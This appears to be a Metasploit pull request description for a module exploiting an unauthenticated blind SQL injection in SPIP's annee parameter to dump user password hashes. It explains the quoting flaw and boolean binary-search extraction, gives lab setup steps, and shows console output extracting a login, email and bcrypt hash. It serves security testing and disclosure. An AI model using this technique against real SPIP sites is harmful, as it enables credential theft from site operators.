Add SPIP < 4.4.18 unauthenticated blind SQLi hash dump module

[jvoisin]

Description

Adds modules/auxiliary/scanner/http/spip_annee_sqli.rb which exploits a blind SQL injection in SPIP's date column escaping logic. The SQL quoting function skips escaping when the value matches /^\w+(/, allowing injection via the annee parameter on the public sitemap.xml page.

Uses boolean-based blind extraction (UNION producing 2 vs 1 URL tags) with binary search to dump bcrypt password hashes from spip_auteurs.

Breaking Changes

None

Reviewer Notes

Verification Steps

1. • Download Spip via wget https://files.spip.net/spip/archives/spip-v4.4.19.zip
2. • Run php -S 127.0.0.1:8080
3. • Open http://127.0.0.1:8080/ecrire to install Spip, feel free to use sqlite as backen
4. • use auxiliary/scanner/http/spip_annee_sqli
5. • set RHOSTS 127.0.0.1
6. • set LHOST 127.0.0.1
7. • set RPORT 8080
8. • Get a password dump, woo!

Test Evidence

msf > use auxiliary/scanner/http/spip_annee_sqli                               
msf auxiliary(scanner/http/spip_annee_sqli) > set RHOSTS 127.0.0.1             
RHOSTS => 127.0.0.1                                                            
msf auxiliary(scanner/http/spip_annee_sqli) > set RPORT 8080                   
RPORT => 8080                                                                  
msf auxiliary(scanner/http/spip_annee_sqli) > run                              
[*] Running module against 127.0.0.1                                           
[*] SPIP Version detected: 4.4.9                                               
[*] Verifying blind SQLi via sitemap.xml annee parameter...                    
[+] Blind SQLi confirmed!                                                      
[*] Extracting user id_auteur=1...                                             
[+]   Login: jvoisin                                                           
[*]   [10] spip@dustr                                                          
[+]   Email: spip@dustri.org                                                   
[*]   Extracting password hash (this takes a moment)...                        
[*]   [10] $2y$12$iR/                                                          
[*]   [20] $2y$12$iR/qL5rAIPQtl                                                
[*]   [30] $2y$12$iR/qL5rAIPQtlVSuCQieK.b                                      
[*]   [40] $2y$12$iR/qL5rAIPQtlVSuCQieK.bobNJUdyMtn                            
[*]   [50] $2y$12$iR/qL5rAIPQtlVSuCQieK.bobNJUdyMtniOxILWvT23                  
[*]   [60] $2y$12$iR/qL5rAIPQtlVSuCQieK.bobNJUdyMtniOxILWvT23t9L7..LXxK        
[+]   Hash:  $2y$12$iR/qL5rAIPQtlVSuCQieK.bobNJUdyMtniOxILWvT23t9L7..LXxK      
[*] No user with id_auteur=2, skipping                                         
[*] No user with id_auteur=3, skipping                                         
[*] No user with id_auteur=4, skipping                                         
[*] No user with id_auteur=5, skipping                                         
[*] Auxiliary module execution completed                                       
msf auxiliary(scanner/http/spip_annee_sqli) >                                  

Environment

Field	Details
Operating System	Fedora
Target Software/Hardware	Spip 4.4.9
Docker Image / Vagrant Setup

AI Usage Disclosure

None

Pre-Submission Checklist

• Included a corresponding documentation markdown file in documentation/modules (new modules only)
• No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
• Tested on the target environment specified in the Environment section above
• Included RSpec tests for library changes (encouraged for lib/ changes)
• Read the CONTRIBUTING.md and module acceptance guidelines

Hardware and Complex Software Module Guidance

If your module targets specialized hardware (routers, IoT, PLCs, etc.) or complex software (licensed, multi-service, or multi-version), provide a pcap, screen recording, or video showing successful execution.

Email sanitized pcaps/recordings to msfdev@metasploit.com — remove real IPs, credentials, and hostnames before sending. If hardware/software is unavailable, explain in the PR description.

Responsiveness and PR Takeover Policy

We want every contribution to make it into the project. If approximately 2 weeks pass after a review request without a comment or code update from you, the team may take over the PR and complete the work on your behalf.

If this happens, you will remain credited as a co-author on the final commit — your contribution is always recognized.

This policy exists to keep the project moving forward. It is not a reflection on the quality of your work or your involvement. Life happens, and we would rather finish the work together than let a good contribution go stale.